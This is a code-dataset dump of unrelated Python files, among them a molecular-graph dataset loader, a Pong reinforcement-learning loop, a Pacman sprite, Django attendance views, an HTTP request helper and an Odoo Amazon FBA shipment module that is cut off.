(5/6)\")\r\nimage.loadOBJ(\"./OBJs/PolyT.obj\", translate=(-0.30,-0.8,0), scale=(0.15,0.15,0.15),fill=True)\r\nprint(\"render (6/6)\")\r\nimage.loadOBJ(\"./OBJs/outlamp.obj\", translate=(0.075,-0.9,0), scale=(0.08,0.08,0.08), rotate=(-0.2,-0.8,0))\r\nprint(\"render terminado\")\r\n\r\nimage.glFinish()\r\n","sub_path":"Proyecto/proyecto.py","file_name":"proyecto.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"564485747","text":"import os\nimport numpy as np\nimport rdkit\nimport rdkit.Chem\nimport rdkit.Chem as Chem\n\nfrom kgcnn.data.base import DownloadDataset, MemoryGeometricGraphDataset\nfrom kgcnn.mol.molgraph import MolecularGraphRDKit, OneHotEncoder\nfrom kgcnn.utils.data import load_json_file\n\n\nclass MuleculeNetDataset(DownloadDataset, MemoryGeometricGraphDataset):\n r\"\"\"Base class for downloading deepchem molecule datasets. The base class provides properties and methods for\n making graph features from smiles. The graph structure matches the molecular graph. The atomic coordinates\n are generated by a conformer guess. Since this require some computation time, it is only done once and the\n molecular coordinate or mol-blocks stored in a json-file named in :obj:`MuleculeNetDataset.mol_filename`.\n The selection of smiles and whether conformers should be generated is handled by sub-classes.\n\n \"\"\"\n\n mol_filename = \"mol.json\"\n\n def __init__(self, reload=False, verbose=1):\n\n DownloadDataset.__init__(self, reload=reload, verbose=verbose)\n MemoryGeometricGraphDataset.__init__(self, verbose=verbose)\n\n if self.fits_in_memory:\n self.read_in_memory(verbose=verbose)\n\n @classmethod\n def _smiles_to_mol_list(cls, smiles: list, add_hydrogen: bool = True, sanitize: bool = True,\n make_conformers: bool = True, verbose: int = 1):\n r\"\"\"Convert a list of smiles as string into a list of mol-information, namely mol-block as string.\n\n Args:\n smiles (list): A list of smiles for each molecule in dataset.\n add_hydrogen (bool): Whether to add H after smile translation.\n sanitize (bool): Whether sanitize molecule.\n make_conformers (bool): Trey to generate 3D coordinates\n verbose (int): Print progress or info for processing, where 0 is silent. Default is 1.\n\n Returns:\n list: A list of mol-block information as sting.\n \"\"\"\n if len(smiles) == 0:\n print(\"Error:kgcnn: Can not translate smiles, received empty list for %s.\" % cls.dataset_name)\n if verbose > 0:\n print(\"INFO:kcnn: Generating molecules and store %s to disk...\" % cls.mol_filename, end='', flush=True)\n molecule_list = []\n for i, sm in enumerate(smiles):\n mg = MolecularGraphRDKit(add_hydrogen=add_hydrogen)\n mg.from_smiles(sm, sanitize=sanitize)\n if make_conformers:\n _ = mg.node_coordinates # Force to generate 3D coordinates\n molecule_list.append(mg.to_mol_block())\n if verbose > 0:\n print(\"done\")\n return molecule_list\n\n def read_in_memory(self, has_conformers: bool = True, add_hydrogen: bool = True, verbose: int = 1):\n r\"\"\"Load list of molecules from json-file named in :obj:`MuleculeNetDataset.mol_filename` into memory. And\n already extract basic graph information. No further attributes are computed as default.\n\n Args:\n has_conformers (bool): If molecules have 3D coordinates pre-computed.\n add_hydrogen (bool): Whether to add H after smile translation.\n verbose (int): Print progress or info for processing where 0=silent. Default is 1.\n\n Returns:\n self\n \"\"\"\n mol_path = os.path.join(self.data_main_dir, self.data_directory, self.mol_filename)\n if not os.path.exists(mol_path):\n raise FileNotFoundError(\"ERROR:kgcnn: Can not load molecules for dataset %s\" % self.dataset_name)\n\n mols = load_json_file(mol_path)\n atoms = []\n coords = []\n number = []\n edgind = []\n for x in mols:\n mg = MolecularGraphRDKit(add_hydrogen=add_hydrogen).from_mol_block(x, sanitize=True)\n atoms.append(mg.node_symbol)\n if has_conformers:\n coords.append(mg.node_coordinates)\n number.append(mg.node_number)\n edgind.append(mg.edge_indices)\n self.node_symbol = atoms\n self.node_coordinates = coords if has_conformers else None\n self.node_number = number\n self.graph_size = [len(x) for x in atoms]\n self.edge_indices = edgind\n return self\n\n def set_attributes(self,\n nodes=None,\n edges=None,\n graph=None,\n encoder_nodes=None,\n encoder_edges=None,\n encoder_graph=None,\n add_hydrogen: bool = False,\n verbose: int = 1):\n r\"\"\"Set further molecular attributes or features by string identifier. Requires :obj:`MolecularGraphRDKit`.\n Reset edges and nodes with new attributes and edge indices. Default values are features that has been used\n by `Luo et al (2019) `_.\n\n Args:\n nodes (list): A list of node attributes\n edges (list): A list of edge attributes\n graph (list): A list of graph attributes.\n encoder_nodes (dict): A dictionary of callable encoder where the key matches the attribute.\n encoder_edges (dict): A dictionary of callable encoder where the key matches the attribute.\n encoder_graph (dict): A dictionary of callable encoder where the key matches the attribute.\n add_hydrogen (bool): Whether to remove hydrogen.\n verbose (int): Print progress or info for processing where 0=silent. Default is 1.\n\n Returns:\n self\n \"\"\"\n # We have to reload the dataset here to start fresh\n self.read_in_memory(verbose=verbose)\n\n mol_path = os.path.join(self.data_main_dir, self.data_directory, self.mol_filename)\n if not os.path.exists(mol_path):\n raise FileNotFoundError(\"ERROR:kgcnn: Can not load molecules for dataset %s\" % self.dataset_name)\n\n if verbose > 0:\n print(\"INFO:kgcnn: Making attributes...\", end='', flush=True)\n\n mols = load_json_file(mol_path)\n\n # Choose default values here:\n if nodes is None:\n nodes = ['Symbol', 'TotalDegree', 'FormalCharge', 'NumRadicalElectrons', 'Hybridization',\n 'IsAromatic', 'IsInRing', 'TotalNumHs', 'CIPCode', \"ChiralityPossible\", \"ChiralTag\"]\n if edges is None:\n edges = ['BondType', 'IsAromatic', 'IsConjugated', 'IsInRing', \"Stereo\"]\n if graph is None:\n graph = ['ExactMolWt', 'NumAtoms']\n if encoder_nodes is None:\n encoder_nodes = {\n \"Symbol\": OneHotEncoder(['B', 'C', 'N', 'O', 'F', 'Si', 'P', 'S', 'Cl', 'As', 'Se', 'Br', 'Te', 'I', 'At']),\n \"Hybridization\": OneHotEncoder([Chem.rdchem.HybridizationType.SP,\n Chem.rdchem.HybridizationType.SP2,\n Chem.rdchem.HybridizationType.SP3,\n Chem.rdchem.HybridizationType.SP3D,\n Chem.rdchem.HybridizationType.SP3D2]),\n \"TotalDegree\": OneHotEncoder([0, 1, 2, 3, 4, 5], add_others=False),\n \"TotalNumHs\": OneHotEncoder([0, 1, 2, 3, 4], add_others=False),\n \"CIPCode\": OneHotEncoder(['R', 'S'], add_others=False)\n }\n if encoder_edges is None:\n encoder_edges = {\n \"BondType\": OneHotEncoder([Chem.rdchem.BondType.SINGLE,\n Chem.rdchem.BondType.DOUBLE,\n Chem.rdchem.BondType.TRIPLE,\n Chem.rdchem.BondType.AROMATIC], add_others=False),\n \"Stereo\": OneHotEncoder([Chem.rdchem.BondStereo.STEREONONE,\n Chem.rdchem.BondStereo.STEREOANY,\n Chem.rdchem.BondStereo.STEREOZ,\n Chem.rdchem.BondStereo.STEREOE], add_others=False),\n }\n if encoder_graph is None:\n encoder_graph = {}\n\n # Reset all attributes\n graph_attributes = []\n node_attributes = []\n edge_attributes = []\n edge_indices = []\n node_coordinates = []\n node_symbol = []\n node_number = []\n\n for i, sm in enumerate(mols):\n mg = MolecularGraphRDKit(add_hydrogen=add_hydrogen).from_mol_block(sm, sanitize=True)\n node_attributes.append(np.array(mg.node_attributes(nodes, encoder_nodes), dtype=\"float32\"))\n edge_attributes.append(np.array(mg.edge_attributes(edges, encoder_edges)[1], dtype=\"float32\"))\n edge_indices.append(np.array(mg.edge_indices, dtype=\"int64\"))\n graph_attributes.append(np.array(mg.graph_attributes(graph, encoder_graph), dtype=\"float32\"))\n node_symbol.append(mg.node_symbol)\n node_coordinates.append(np.array(mg.node_coordinates, dtype=\"float32\"))\n node_number.append(mg.node_number)\n\n self.graph_size = [len(x) for x in node_attributes]\n self.graph_attributes = graph_attributes\n self.node_attributes = node_attributes\n self.edge_attributes = edge_attributes\n self.edge_indices = edge_indices\n self.node_coordinates = node_coordinates\n self.node_symbol = node_symbol\n self.node_number = node_number\n\n if verbose > 0:\n print(\"done\")\n for key, value in encoder_nodes.items():\n print(\"INFO:kgcnn: OneHotEncoder\", key, \"found\", value.found_values)\n for key, value in encoder_edges.items():\n print(\"INFO:kgcnn: OneHotEncoder\", key, \"found\", value.found_values)\n for key, value in encoder_graph.items():\n print(\"INFO:kgcnn: OneHotEncoder\", key, \"found\", value.found_values)\n\n return self\n","sub_path":"kgcnn/data/moleculenet.py","file_name":"moleculenet.py","file_ext":"py","file_size_in_byte":9950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"203665865","text":"import numpy as np\nimport _pickle as pickle\nimport gym\n\nfrom pg_agent import PGAgent\nfrom const import GAME_NAME\n\nBATCH_SIZE = 10\nSAVE_SIZE = 100\nSHOW_MOVIE = True\n\ndef main():\n env = gym.make(GAME_NAME)\n agent = PGAgent(env)\n observation = env.reset()\n\n episodes_num = 0\n reward_sum = 0\n\n while True:\n if SHOW_MOVIE: env.render()\n\n action = agent.select_action(observation)\n observation, reward, done, info = env.step(action) # move paddle!!!1!\n\n reward_sum += reward\n agent.add_history(reward)\n\n if reward != 0: # when either player gets point\n print(\"Episode %d fin. Gets reward %f\" % (episodes_num, reward))\n\n if done: # when episode ends\n episodes_num += 1\n agent.accumulate_grads()\n if episodes_num % BATCH_SIZE == 0: agent.train_net()\n if episodes_num % SAVE_SIZE == 0: pickle.dump(agent.net.model, open(\"model.p\", \"wb\"))\n\n print(\"Reset env. Total rewards in this episode: %f\" % reward_sum)\n\n reward_sum = 0\n observation = env.reset()\n agent.prev_x = None\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"437263942","text":"# 这个文件来通过get, post, put, delete等方法来进行http请求,把那个拿到请求响应\n\nimport requests\nimport json\nimport warnings\nimport urllib3\n\nwarnings.filterwarnings(\"ignore\")\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\n# class RunMain():\n#\n# def send_get(self, url, data):\n# result = requests.get(url=url, params=data).json()\n# res = json.dumps(result, ensure_ascii=False, sort_keys=True, indent=2)\n# return res\n#\n# def send_post(self, url, data):\n# result = requests.post(url=url, json=data, verify=False).json()\n# res = json.dumps(result, ensure_ascii=False, sort_keys=True, indent=2)\n# return res\n#\n# def send_put(self, url, data):\n# result = requests.put(url=url, json=data).json()\n# res = json.dumps(result, ensure_ascii=False, sort_keys=True, indent=2)\n# return res\n#\n# def send_delete(self, url, data):\n# result = requests.delete(url=url, json=data).json()\n# res = json.dumps(result, ensure_ascii=False, sort_keys=True, indent=2)\n# return res\n#\n# def run_main(self, method, url=None, data=None):\n# result = None\n# if method == \"post\":\n# result = self.send_post(url, data)\n# elif method == \"get\":\n# result = self.send_get(url, data)\n# elif method == \"put\":\n# result = self.send_put(url, data)\n# elif method == \"delete\":\n# result = self.send_delete(url, data)\n# else:\n# print(\"method值错误\")\n# return result\n#\n#\n# if __name__ == \"__main__\":\n# result1 = RunMain().run_main(\"post\", \"https://tapi.quanziapp.com/api/v2/login\", {\"device_id\":\"C55F24F2-A927-4125-8D3A-D0379B90F4D3\",\"device_type\":\"web\",\"device_name\":\"Chrome\",\"device_system\":\"Win32\",\"app_version\":\"pc web v3.3.2\",\"mobile\":{\"country_code\":\"86\",\"phone_number\":\"15210801234\",\"password\":\"123456\"}})\n# print(result1)\n\nclass Base(method_):\n\n\n def requests_type(self, method, url, params=None, data=None, headers=None, files=None):\n if method == 'post' or method == 'POST':\n return self.method_post(url=url, params=params, data=data, headers=headers, files=files)\n elif method == 'get' or method == 'GET':\n return self.method_get(url=url, params=params, data=data, headers=headers, files=files)\n elif method == 'put' or method == 'PUT':\n return requests.put(url=url, params=params, data=data, headers=headers, files=files)\n elif method == 'delete' or method == 'DELETE':\n return requests.delete(url=url, params=params, data=data, headers=headers, files=files)\n\n\ns = Base()\na = s.requests_type(method=\"post\", url=\"https://tapi.quanziapp.com/api/v2/login\",\n data={\"device_id\": \"C55F24F2-A927-4125-8D3A-D0379B90F4D3\", \"device_type\": \"web\",\n \"device_name\": \"Chrome\", \"device_system\": \"Win32\", \"app_version\": \"pc web v3.3.2\",\n \"mobile\": {\"country_code\": \"86\", \"phone_number\": \"15210801234\",\n \"password\": \"123456\"}})\nprint(a)\n","sub_path":"common/configHttp.py","file_name":"configHttp.py","file_ext":"py","file_size_in_byte":3156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586313411","text":"import pygame\nimport sys\nimport ghost\nimport wall\n\nclass Player(pygame.sprite.Sprite):\n \n '''\n This is the Constructor function __init__\n param list: (int, int, str) x, y, filename: Set height and width and passes in filename of the pacman player image\n return (int, int, str) returns surface of image and x and y coords\n '''\n \n # SETS SPEED VECTORS\n change_x=0\n change_y=0\n \n def __init__(self,x,y):\n \n '''\n This is the Constructor function __init__\n param list: (int, int, str) x, y, filename: Set height and width and pass in filename of the pacman player image\n return (int, int, str) returns surface of image and x and y coords\n '''\n \n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(\"pacman.png\").convert()\n \n #MAKES TOP LEFT CORNER THE PASSED IN LOCATION\n self.rect = self.image.get_rect()\n self.rect.top = y\n self.rect.left = x\n self.prev_x = x\n self.prev_y = y\n \n #CLEARS SPEED OF PACMAN\n def prevdirection(self):\n\n '''\n This function clears the speed of the player\n param list: (object) self: refers to the object of this class, only needs self\n return: (none)\n '''\n self.prev_x = self.change_x\n self.prev_y = self.change_y\n \n #CHANGES SPEED OF PACMAN\n def changespeed(self,x,y):\n\n '''\n Changes the speed of the player\n param list: (int, int) x, y:\n return: (none)\n '''\n \n self.change_x+=x\n self.change_y+=y\n \n #FINDS NEW POSITION OF PACMAN\n def update(self,walls,gate):\n '''\n Gets the old position of pacman\n and new position\n param list:\n \n '''\n old_x=self.rect.left\n new_x=old_x+self.change_x\n prev_x=old_x+self.prev_x\n self.rect.left = new_x\n \n old_y=self.rect.top\n new_y=old_y+self.change_y\n prev_y=old_y+self.prev_y\n \n x_collide = pygame.sprite.spritecollide(self, walls, False)\n if x_collide:\n self.rect.left=old_x\n else:\n self.rect.top = new_y\n y_collide = pygame.sprite.spritecollide(self, walls, False)\n if y_collide:\n self.rect.top=old_y\n if gate != False:\n gate_hit = pygame.sprite.spritecollide(self, gate, False)\n if gate_hit:\n self.rect.left=old_x\n self.rect.top=old_y\n","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"389590772","text":"#!/usr/bin/env python\n\nimport trio\nimport trio_amqp\n\nimport sys\n\n\nasync def new_task():\n try:\n async with trio_amqp.connect_amqp() as protocol:\n\n channel = await protocol.channel()\n\n await channel.queue('task_queue', durable=True)\n\n message = ' '.join(sys.argv[1:]) or \"Hello World!\"\n\n await channel.basic_publish(\n payload=message,\n exchange_name='',\n routing_key='task_queue',\n properties={\n 'delivery_mode': 2,\n },\n )\n print(\" [x] Sent %r\" % message,)\n\n except trio_amqp.AmqpClosedConnection:\n print(\"closed connections\")\n return\n\n\ntrio.run(new_task)\n","sub_path":"examples/new_task.py","file_name":"new_task.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"485519622","text":"from django.shortcuts import render\nfrom journal.models import Attendance, UserExtension\nfrom maintenance.helpers.named_tuple import namedtuple_wrapper\nfrom journal import constants\nfrom journal.managers.context import with_context, get_user_extension\nfrom datetime import date\n\ntAttendanceRestriction = namedtuple_wrapper(\n \"tAttendanceRestriction\",\n (\n \"date_restricted\",\n \"date\",\n \"squads\",\n \"can_edit\",\n ),\n)\n\n\ndef attendance(request):\n restrictions = None\n try:\n ext = UserExtension.objects.get(user=request.user)\n except UserExtension.DoesNotExist:\n ext = None\n if ext:\n allowed_squads = ext.squads.all()\n f = Attendance.objects.filter(squad__in=allowed_squads)\n restrictions = tAttendanceRestriction(\n date_restricted=ext.date_limit,\n date=date.today(),\n squads=allowed_squads,\n can_edit=ext.can_edit_attendance,\n )\n else:\n # all forms, no restrictions\n f = Attendance.objects.all()\n\n return render(\n request,\n \"journal/attendance.html\",\n with_context({\"forms\": f, \"restrictions\": restrictions}),\n )\n\n\ndef edit_attendance(request, attendance_id):\n att: Attendance = Attendance.objects.filter(id=attendance_id)[0]\n context = {}\n ext = get_user_extension(request.user)\n if ext:\n if not ext.can_edit_attendance:\n context = {\"error\": \"Этот пользователь не может изменять строевые записки\"}\n elif ext.date_limit and att.date != date.today():\n context = {\n \"error\": \"Этот пользователь не может изменять строевые записки за даты, отличающейся от текущей\"\n }\n\n types = constants.ATT_TYPES\n if not context:\n context = {\n \"students\": att.students.all()\n .order_by(\"student__last_name\")\n .prefetch_related(\"student\"),\n \"statuses\": att.students.all()\n .order_by(\"student__last_name\")\n .prefetch_related(\"student\"),\n \"attendance_types\": types,\n \"attendance_id\": attendance_id,\n \"squad_code\": att.squad.code,\n \"date\": att.date,\n }\n\n return render(request, \"journal/attendance_edit.html\", with_context(context))\n","sub_path":"journal/views/attendance.py","file_name":"attendance.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"268622453","text":"from sympy import *\nfrom itertools import product\n\nimport predicate\n\nt = Symbol('t')\nX1 = Symbol('X1')\nX2 = Symbol('X2')\nx1 = Function('x1')(t)\nx2 = Function('x2')(t)\n\nq = [('cont',)]\n\nbad = False\n\nsystem_def = {('cont',): {'flow': {x1.diff(t): x2,\n x2.diff(t): -9.8*sin(x1)},\n 't': [],\n 'inv': []}}\n\ninitial_state = {'d':('cont',),'c':['X1>0','X2>0','0.19984*X2^2 + 1.90843655*sin(X1)^2 + 1.90843655*cos(X1)^2 - 3.916868466*cos(X1) + 0.3084319171<0']}\n\nequations = [predicate.MetitEquation(x1,'t'),\n predicate.MetitEquation(x2,'t'),\n predicate.MetitEquation(1.90843655*sin(x1)**2 + 1.90843655*cos(x1)**2 - 3.916868466*cos(x1) + 0.19984*x2**2 + 0.3084319171,'t',is_lyapunov=True)]\n\nbad_state = []\n#bad_state = predicate.MetitPredicate(x2-8,'>')\n\ne5 = predicate.MetitEquation(system_def[('cont',)]['flow'][x2.diff(t)],'t')\nequations.extend(predicate.get_derivs(2,e5,system_def,('cont',)))\n","sub_path":"examples/simplePendulum3-new.py","file_name":"simplePendulum3-new.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"291976463","text":"from dispensador import CajaRegistradora, TipoDispensador\n\ndef mostrarSeleccion():\n print(\"\\nBienvenido a la dispensadora FC-UNI\\n\")\n print(\"Para elegir un producto, ingrese: \")\n print(\"G para galletas\")\n print(\"C para chocolates\")\n print(\"X para salir\")\n\ndef VenderProducto(caja, dispensadorG, dispensadorC):\n salir = False\n vuelto = None\n nameProduct = None\n opciones = ['G', 'C', 'X']\n\n entrada = input(\"Ingrese por favor: \")\n\n if entrada == 'X':\n salir = True\n return salir\n else:\n\n caja.aceptarMonto(float(entrada))\n while caja.getSaldoActual() < 20:\n entrada = input(\"Ingrese por favor: \")\n if entrada not in opciones:\n caja.aceptarMonto(float(entrada))\n \n else:\n if entrada == 'X':\n vuelto = caja.getSaldoActual()\n print(\"Devolviendo {} centavos \".format(vuelto))\n salir = True\n return salir \n else:\n print(\"Saldo insuficiente, siga depositando \")\n\n \n vuelto = caja.getSaldoActual() - 20.0\n if vuelto > 0:\n print(\"vuelto: \" + str(vuelto))\n entrada = input(\"Ingrese por favor: \")\n\n \n if entrada in list(opciones[0:2]):\n if entrada == 'C':\n nameProduct = \"Chocolate\"\n dispensadorC.hacerVenta()\n else:\n nameProduct = \"Galleta\"\n dispensadorG.hacerVenta()\n else: \n print(\"Devolviendo {} centavos \".format(caja.getSaldoActual()))\n salir = True\n return salir \n\n if nameProduct != None: \n print(\"Recoja su {} al fondo y buen provecho\\n\".format(nameProduct))\n \n print(\"-------------------------------------\")\n return salir\n\nif __name__ == '__main__':\n cajaPrincipal = CajaRegistradora(cajaChica = 0)\n\n dispGalletas = TipoDispensador(nroProductos = 10, costo = 20.0)\n\n dispChocolates = TipoDispensador(nroProductos = 10, costo = 20.0)\n\n while True:\n mostrarSeleccion()\n if VenderProducto(cajaPrincipal, dispGalletas, dispChocolates):\n break\n else:\n continue\n\n\n\n\n\n\n","sub_path":"CC342_Teoria_de_la_Computacion/pc2/pruebaDispensador.py","file_name":"pruebaDispensador.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"489284039","text":"# -*- coding: utf-8 -*-\n# See LICENSE file for full copyright and licensing details.\n\n\"\"\"\ninherited class and method, fields to check amazon shipment status and process to create stock move\nand process to create shipment picking.\n\"\"\"\n\nimport base64\nimport time\n\nfrom odoo import models, fields, _\nfrom odoo.addons.iap.tools import iap_tools\nfrom odoo.exceptions import UserError\nfrom odoo.tools import DEFAULT_SERVER_DATETIME_FORMAT\nfrom odoo.tools.float_utils import float_round\n\nfrom ..endpoint import DEFAULT_ENDPOINT\n\nlabel_preference_help = \"\"\"\n SELLER_LABEL - Seller labels the items in the inbound shipment when labels are required.\n AMAZON_LABEL_ONLY - Amazon attempts to label the items in the inbound shipment when \n labels are required. If Amazon determines that it does not have the \n information required to successfully label an item, that item is not \n included in the inbound shipment plan\n AMAZON_LABEL_PREFERRED - Amazon attempts to label the items in the inbound shipment when \n labels are required. If Amazon determines that it does not have the \n information required to successfully label an item, that item is \n included in the inbound shipment plan and the seller must label it. \n \"\"\"\n\nshipment_status_help = \"\"\"\n InboundShipmentHeader is used with the CreateInboundShipment operation: \n *.WORKING - The shipment was created by the seller, but has not yet shipped.\n *.SHIPPED - The shipment was picked up by the carrier. \n\n The following is an additional ShipmentStatus value when InboundShipmentHeader is used with \n the UpdateInboundShipment operation\n *.CANCELLED - The shipment was cancelled by the seller after the shipment was \n sent to the Amazon fulfillment center.\"\"\"\n\n\nclass StockPicking(models.Model):\n _inherit = 'stock.picking'\n\n def _compute_total_received_qty(self):\n \"\"\"\n Added method to get total shipped and received quantity.\n \"\"\"\n for picking in self:\n total_shipped_qty = 0.0\n total_received_qty = 0.0\n for move in picking.move_lines:\n if move.state == 'done':\n total_received_qty += move.product_qty\n total_shipped_qty += move.product_qty\n if move.state not in ['draft', 'cancel']:\n total_shipped_qty += move.reserved_availability\n\n picking.total_received_qty = total_received_qty\n picking.total_shipped_qty = total_shipped_qty\n\n stock_adjustment_report_id = fields.Many2one('amazon.stock.adjustment.report.history',\n string=\"Stock Adjustment Report\")\n removal_order_id = fields.Many2one(\"amazon.removal.order.ept\", string=\"Removal Order\")\n updated_in_amazon = fields.Boolean(\"Updated In Amazon?\", default=False, copy=False)\n is_fba_wh_picking = fields.Boolean(\"Is FBA Warehouse Picking\", default=False)\n seller_id = fields.Many2one(\"amazon.seller.ept\", \"Seller\")\n removal_order_report_id = fields.Many2one('amazon.removal.order.report.history',\n string=\"Report\")\n ship_plan_id = fields.Many2one('inbound.shipment.plan.ept', readonly=True, default=False,\n copy=True, string=\"Shiment Plan\")\n odoo_shipment_id = fields.Many2one('amazon.inbound.shipment.ept', string='Shipment', copy=True)\n amazon_shipment_id = fields.Char(size=120, string='Amazon Shipment ID', default=False,\n help=\"Shipment Item ID provided by Amazon when we integrate \"\n \"shipment report from Amazon\")\n fulfill_center = fields.Char(size=120, string='Amazon Fulfillment Center ID', readonly=True,\n default=False, copy=True,\n help=\"Fulfillment Center ID provided by Amazon when we send \"\n \"shipment Plan to Amazon\")\n ship_label_preference = fields.Selection( \\\n [('NO_LABEL', 'NO_LABEL'), ('SELLER_LABEL', 'SELLER_LABEL'),\n ('AMAZON_LABEL_ONLY', 'AMAZON_LABEL_ONLY'),\n ('AMAZON_LABEL_PREFERRED', 'AMAZON_LABEL_PREFERRED'),\n ('AMAZON_LABEL', 'AMAZON_LABEL')], default='SELLER_LABEL',\n string='LabelPrepType', help=label_preference_help)\n total_received_qty = fields.Float(compute=\"_compute_total_received_qty\")\n total_shipped_qty = fields.Float(compute=\"_compute_total_received_qty\")\n inbound_ship_data_created = fields.Boolean('Inbound Shipment Data Created', default=False)\n are_cases_required = fields.Boolean(\"AreCasesRequired\", default=False,\n help=\"Indicates whether or not an inbound shipment \"\n \"contains case-packed boxes. A shipment must either \"\n \"contain all case-packed boxes or all individually \"\n \"packed boxes\")\n shipment_status = fields.Selection(\n [('WORKING', 'WORKING'), ('SHIPPED', 'SHIPPED'), ('CANCELLED', 'CANCELLED')],\n help=shipment_status_help)\n estimated_arrival_date = fields.Datetime(\"Estimate Arrival Date\")\n amazon_shipment_date = fields.Datetime(\"Shipment Date\")\n amazon_purchase_date = fields.Datetime(\"Purchase Date\")\n inbound_ship_updated = fields.Boolean('Inbound Shipment Updated', default=False)\n feed_submission_id = fields.Many2one('feed.submission.history',\n string=\"Feed Submission History Id\", readonly=True)\n\n def check_amazon_shipment_status_ept(self, items, job_id):\n \"\"\"\n This method will check the shipment status and process to create stock move and move lines.\n \"\"\"\n log_obj = self.env['common.log.book.ept']\n log_line_obj = self.env['common.log.lines.ept']\n stock_move_line_obj = self.env['stock.move.line']\n if self.ids:\n pickings = self\n\n move_obj = self.env['stock.move']\n amazon_product_obj = self.env['amazon.product.ept']\n\n amazon_shipment_ids = []\n for picking in pickings:\n amazon_shipment_ids.append(picking.odoo_shipment_id.id)\n instance = picking.odoo_shipment_id and picking.odoo_shipment_id.instance_id_ept or \\\n picking.ship_plan_id and picking.ship_plan_id.instance_id\n\n process_picking = False\n for item in items:\n sku = item.get('SellerSKU', {}).get('value', '')\n asin = item.get('FulfillmentNetworkSKU', {}).get('value')\n shipped_qty = item.get('QuantityShipped', {}).get('value')\n received_qty = float(item.get('QuantityReceived', {}).get('value', 0.0))\n\n if received_qty <= 0.0:\n continue\n amazon_product = amazon_product_obj.search_amazon_product(instance.id, sku, 'FBA')\n if not amazon_product:\n amazon_product = amazon_product_obj.search(\\\n [('product_asin', '=', asin), ('instance_id', '=', instance.id),\n ('fulfillment_by', '=', 'FBA')], limit=1)\n if not amazon_product:\n if not job_id:\n job_id = log_obj.create({'module': 'amazon_ept',\n 'type': 'import', })\n vals = {\n 'message': \"\"\"Product not found in ERP ||| FulfillmentNetworkSKU : %s\n SellerSKU : %s Shipped Qty : %s Received Qty : %s \n \"\"\" % (asin, sku, shipped_qty, received_qty),\n 'model_id': log_line_obj.get_model_id('amazon.inbound.shipment.ept'),\n 'res_id': picking.odoo_shipment_id.name,\n 'log_book_id': job_id.id\n }\n log_line_obj.create(vals)\n continue\n\n inbound_shipment_plan_line = picking.odoo_shipment_id.odoo_shipment_line_ids. \\\n filtered(lambda line: line.amazon_product_id.id == amazon_product.id)\n\n if inbound_shipment_plan_line:\n inbound_shipment_plan_line[0].received_qty = received_qty or 0.0\n\n else:\n vals = {\n 'amazon_product_id': amazon_product.id,\n 'quantity': shipped_qty or 0.0,\n 'odoo_shipment_id': picking.odoo_shipment_id.id,\n 'fn_sku': asin,\n 'received_qty': received_qty,\n 'is_extra_line': True\n }\n inbound_shipment_plan_line.create(vals)\n\n odoo_product_id = amazon_product.product_id.id if amazon_product else False\n\n done_moves = picking.odoo_shipment_id.picking_ids.filtered( \\\n lambda\n r: r.is_fba_wh_picking and r.amazon_shipment_id == picking.amazon_shipment_id).mapped( \\\n 'move_lines').filtered( \\\n lambda r: r.product_id.id == odoo_product_id and r.state == 'done')\n\n source_location_id = done_moves and done_moves[0].location_id.id\n for done_move in done_moves:\n if done_move.location_dest_id.id != source_location_id:\n received_qty = received_qty - done_move.product_qty\n else:\n received_qty = received_qty + done_move.product_qty\n if received_qty <= 0.0:\n continue\n\n move_lines = picking.move_lines.filtered( \\\n lambda\n move_lines: move_lines.product_id.id == odoo_product_id and move_lines.state not in ( \\\n 'draft', 'done', 'cancel', 'waiting'))\n\n if not move_lines:\n move_lines = picking.move_lines.filtered( \\\n lambda\n move_line: move_line.product_id.id == odoo_product_id and move_line.state not in ( \\\n 'draft', 'done', 'cancel'))\n\n waiting_moves = move_lines and move_lines.filtered(lambda r: r.state == 'waiting')\n if waiting_moves:\n waiting_moves.write({'state': 'assigned'})\n\n if not move_lines:\n process_picking = True\n odoo_product = amazon_product.product_id\n new_move = move_obj.create({\n 'name': _('New Move:') + odoo_product.display_name,\n 'product_id': odoo_product.id,\n 'product_uom_qty': received_qty,\n 'product_uom': odoo_product.uom_id.id,\n 'location_id': picking.location_id.id,\n 'location_dest_id': picking.location_dest_id.id,\n 'picking_id': picking.id,\n })\n stock_move_line_obj.create( \\\n {\n 'product_id': odoo_product.id,\n 'product_uom_id': odoo_product.uom_id.id,\n 'picking_id': picking.id,\n 'qty_done': float(received_qty) or 0,\n 'location_id': picking.location_id.id,\n 'location_dest_id': picking.location_dest_id.id,\n 'move_id': new_move.id,\n })\n\n qty_left = received_qty\n for move in move_lines:\n process_picking = True\n if move.state == 'waiting':\n move.write({'state': 'assigned'})\n if qty_left <= 0.0:\n break\n move_line_remaning_qty = (move.product_uom_qty) - ( \\\n sum(move.move_line_ids.mapped('qty_done')))\n operations = move.move_line_ids.filtered(lambda o: o.qty_done <= 0)\n for operation in operations:\n if operation.product_uom_qty <= qty_left:\n op_qty = operation.product_uom_qty\n else:\n op_qty = qty_left\n\n move._set_quantity_done(op_qty)\n qty_left = float_round(qty_left - op_qty,\n precision_rounding=operation.product_uom_id.rounding,\n rounding_method='UP')\n move_line_remaning_qty = 